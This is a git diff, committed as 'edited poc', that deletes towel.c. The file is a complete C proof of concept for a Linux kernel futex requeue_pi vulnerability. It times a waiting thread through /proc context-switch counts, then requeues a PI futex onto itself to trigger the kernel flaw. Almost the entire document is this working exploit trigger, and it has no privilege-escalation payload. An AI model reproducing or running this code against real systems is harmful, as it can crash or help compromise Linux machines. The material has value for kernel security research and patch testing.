edited poc

1 files changed, 0 insertions, 102 deletions

diff --git a/towel.c b/towel.c
deleted file mode 100644
index 5481bff..0000000
--- a/towel.c
+++ /dev/null
@@ -1,102 +0,0 @@
-#include <stdio.h>
-#include <unistd.h>
-#include <pthread.h>
-#include <stdlib.h>
-#include <linux/futex.h>
-#include <sys/syscall.h>
-
-#define USERLOCK_FREE 0
-#define USERLOCK_OCCUPIED 1
-#define FUTEX_WAIT_REQUEUE_PI 11
-#define FUTEX_CMP_REQUEUE_PI 12
-
-inline void userlock_wait(volatile const int *userlock) {
-    while (USERLOCK_OCCUPIED == *userlock) {
-        usleep(10);
-    }
-}
-
-inline void userlock_lock(volatile int *userlock) {
-    *userlock = USERLOCK_OCCUPIED; 
-}
-
-inline void userlock_release(volatile int *userlock) {
-    *userlock = USERLOCK_FREE;
-}
-
-int get_voluntary_ctxt_switches(pid_t tid) {
-    FILE *fp;
-    char proc_path[256];
-    char buf[0x1000];
-    char *ptr = buf;
-    int count = -1;
-    snprintf(proc_path, sizeof(proc_path), "/proc/self/task/%d/status", tid);
-    fp = fopen(proc_path, "rb");
-    if (fp != NULL) {
-        fread(buf, sizeof(unsigned char), sizeof(buf), fp);
-        ptr = strstr(buf, "voluntary_ctxt_switches:");
-        ptr += strlen("voluntary_ctxt_switches:");
-        count = atoi(ptr);
-        fclose(fp);
-    }
-    return count;
-}
-
-void wait_for_thread_to_wait_in_kernel(pthread_t tid, int context_switch_count) {
-    while (get_voluntary_ctxt_switches(tid) <= context_switch_count) {
-        usleep(10);
-    }
-}
-
-inline int futex_lock_pi(int *uaddr) {
-    return syscall(__NR_futex, uaddr, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
-}
-
-inline int futex_wait_requeue_pi(int *uaddr1, int *uaddr2) {
-    return syscall(__NR_futex, uaddr1, FUTEX_WAIT_REQUEUE_PI, 0, NULL, uaddr2, 0);
-}
-
-inline int futex_requeue_pi(int *uaddr1, int *uaddr2, int cmpval) {
-    return syscall(__NR_futex, uaddr1, FUTEX_CMP_REQUEUE_PI, 1, NULL, uaddr2, cmpval);
-}
-
-int A = 0, B = 0;
-volatile int invoke_futex_wait_requeue_pi = 0;
-volatile pid_t thread_tid = -1;
-
-void *thread(void *arg) {
-    thread_tid = gettid();
-    printf("[2]\n");
-    userlock_wait(&invoke_futex_wait_requeue_pi);
-    futex_wait_requeue_pi(&A, &B);
-    printf("Someone woke me up\n");
-    while (1) {
-        sleep(1);
-    }
-}
-
-int main(int argc, char *argv[]) {
-    pthread_t t;
-    int context_switch_count = 0;
-    printf("[1]\n");
-    futex_lock_pi(&B);
-    userlock_lock(&invoke_futex_wait_requeue_pi);
-    pthread_create(&t, NULL, thread, NULL);
-    /* Wait for the thread to be in a system call */
-    while (thread_tid < 0) {
-        usleep(10);
-    }
-    context_switch_count = get_voluntary_ctxt_switches(thread_tid);
-    userlock_release(&invoke_futex_wait_requeue_pi);
-    wait_for_thread_to_wait_in_kernel(thread_tid, context_switch_count);
-    printf("[3]\n");
-    futex_requeue_pi(&A, &B, A);
-    printf("[4]\n");
-    B = 0;
-    printf("[5]\n");
-    futex_requeue_pi(&B, &B, B);
-    while (1) {
-        sleep(1);
-    }
-    return 0;
-}